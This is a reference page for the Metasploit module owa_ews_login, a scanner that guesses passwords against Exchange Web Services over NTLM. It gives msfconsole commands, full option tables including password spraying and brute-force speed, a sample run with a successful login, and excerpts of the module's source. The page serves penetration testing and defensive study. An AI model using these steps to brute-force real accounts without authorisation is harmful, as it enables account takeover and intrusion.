OWA Exchange Web Services (EWS) Login Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/owa_ews_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OWA Exchange Web Services (EWS) Login Scanner
Module: auxiliary/scanner/http/owa_ews_login
Source code: modules/auxiliary/scanner/http/owa_ews_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 443
List of CVEs: -

This module attempts to log in to the Exchange Web Services, often exposed at https://example.com/ews/, using NTLM authentication. This method is faster and simpler than traditional form-based logins. In most cases, all you need to set is RHOSTS and some combination of user/pass files; the autodiscovery should find the location of the NTLM authentication point as well as the AD domain, and use them accordingly.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/owa_ews_login
msf auxiliary(owa_ews_login) > show options
    ... show and set options ...
msf auxiliary(owa_ews_login) > set RHOSTS ip-range
msf auxiliary(owa_ews_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(owa_ews_login) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(owa_ews_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(owa_ews_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


This module is for password guessing against OWA's EWS service which often exposes NTLM authentication over HTTPS. It is typically faster than the traditional form-based OWA login method.

Verification Steps


  1. Do: use auxiliary/scanner/http/owa_ews_login
  2. Do: set RHOSTS [IP]
  3. Set TARGETURI if necessary.
  4. Do: run

Scenarios


msf auxiliary(owa_ews_login) > run

[+] Found NTLM service at /ews/ for domain OWAMSF.
[+] OWA_EWS - Successful login: Administrator:monkey
[-] OWA_EWS - Failed login: root:
[-] OWA_EWS - Failed login: admin:
[-] OWA_EWS - Failed login: guest:
[-] OWA_EWS - Failed login: root:root
[-] OWA_EWS - Failed login: root:password
[-] OWA_EWS - Failed login: root:1234

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/owa_ews_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/owa_ews_login

msf6 auxiliary(scanner/http/owa_ews_login) > show info

       Name: OWA Exchange Web Services (EWS) Login Scanner
     Module: auxiliary/scanner/http/owa_ews_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Rich Whitcroft

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  AD_DOMAIN                          no        The Active Directory domain name
  AUTODISCOVER      true             no        Automatically discover domain URI
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             443              yes       The target port
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  TARGETURI                          no        The location of the NTLM service
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME                           no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           false            yes       Whether to print output for all attempts

Description:
  This module attempts to log in to the Exchange Web Services, often 
  exposed at https://example.com/ews/, using NTLM authentication. This 
  method is faster and simpler than traditional form-based logins. In 
  most cases, all you need to set is RHOSTS and some combination of 
  user/pass files; the autodiscovery should find the location of the 
  NTLM authentication point as well as the AD domain, and use them 
  accordingly.

Module Options


This is a complete list of options available in the scanner/http/owa_ews_login auxiliary module:

msf6 auxiliary(scanner/http/owa_ews_login) > show options

Module options (auxiliary/scanner/http/owa_ews_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   AD_DOMAIN                          no        The Active Directory domain name
   AUTODISCOVER      true             no        Automatically discover domain URI
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             443              yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   TARGETURI                          no        The location of the NTLM service
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/owa_ews_login auxiliary module:

msf6 auxiliary(scanner/http/owa_ews_login) > show advanced

Module advanced options (auxiliary/scanner/http/owa_ews_login):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   MaxGuessesPerService  0                no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:
                                                    22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
   MaxMinutesPerService  0                no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   PASSWORD_SPRAY        false            yes       Reverse the credential pairing order. For each password, attempt every possible user.
   REMOVE_PASS_FILE      false            yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false            yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false            yes       Automatically delete the USER_FILE on module completion
   ShowProgress          true             yes       Display progress messages during a scan
   ShowProgressPercent   10               yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   WORKSPACE                              no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/owa_ews_login module can do:

msf6 auxiliary(scanner/http/owa_ews_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/owa_ews_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/owa_ews_login) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to autodiscover - try manually


Here is a relevant code snippet related to the "Failed to autodiscover - try manually" error message:

48:	    if datastore['AUTODISCOVER']
49:	      domain, uri = autodiscover(cli)
50:	      if domain && uri
51:	        print_good("Found NTLM service at #{uri} for domain #{domain}.")
52:	      else
53:	        print_error("Failed to autodiscover - try manually")
54:	        return
55:	      end
56:	    elsif datastore['AD_DOMAIN'] && datastore['TARGETURI']
57:	      domain = datastore['AD_DOMAIN']
58:	      uri = datastore['TARGETURI']

You must set AD_DOMAIN and TARGETURI if not using autodiscover.


Here is a relevant code snippet related to the "You must set AD_DOMAIN and TARGETURI if not using autodiscover." error message:

56:	    elsif datastore['AD_DOMAIN'] && datastore['TARGETURI']
57:	      domain = datastore['AD_DOMAIN']
58:	      uri = datastore['TARGETURI']
59:	      uri << "/" unless uri.chars.last == "/"
60:	    else
61:	      print_error("You must set AD_DOMAIN and TARGETURI if not using autodiscover.")
62:	      return
63:	    end
64:	
65:	    cli.set_config({ 'domain' => domain })
66:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

79:	          'password' => cred.private
80:	        })
81:	
82:	        res = cli.send_recv(req)
83:	      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
84:	        print_error("Connection failed")
85:	        next
86:	      end
87:	
88:	      if res.code != 401
89:	        print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}"

Failed login: <CRED.TO_S>


Here is a relevant code snippet related to the "Failed login: <CRED.TO_S>" error message:

95:	          password: cred.private
96:	        )
97:	
98:	        return if datastore['STOP_ON_SUCCESS']
99:	      else
100:	        vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}"
101:	      end
102:	    end
103:	  end
104:	
105:	  def autodiscover(cli)

HTTP Connection Failed


Here is a relevant code snippet related to the "HTTP Connection Failed" error message:

113:	          'headers'  =>  {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
114:	        })
115:	
116:	        res = cli.send_recv(req)
117:	      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
118:	        print_error("HTTP Connection Failed")
119:	        next
120:	      end
121:	
122:	      unless res
123:	        print_error("HTTP Connection Timeout")

HTTP Connection Timeout


Here is a relevant code snippet related to the "HTTP Connection Timeout" error message:

118:	        print_error("HTTP Connection Failed")
119:	        next
120:	      end
121:	
122:	      unless res
123:	        print_error("HTTP Connection Timeout")
124:	        next
125:	      end
126:	
127:	      if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
128:	        hash = res['WWW-Authenticate'].split('NTLM ')[1]

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Rich Whitcroft

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.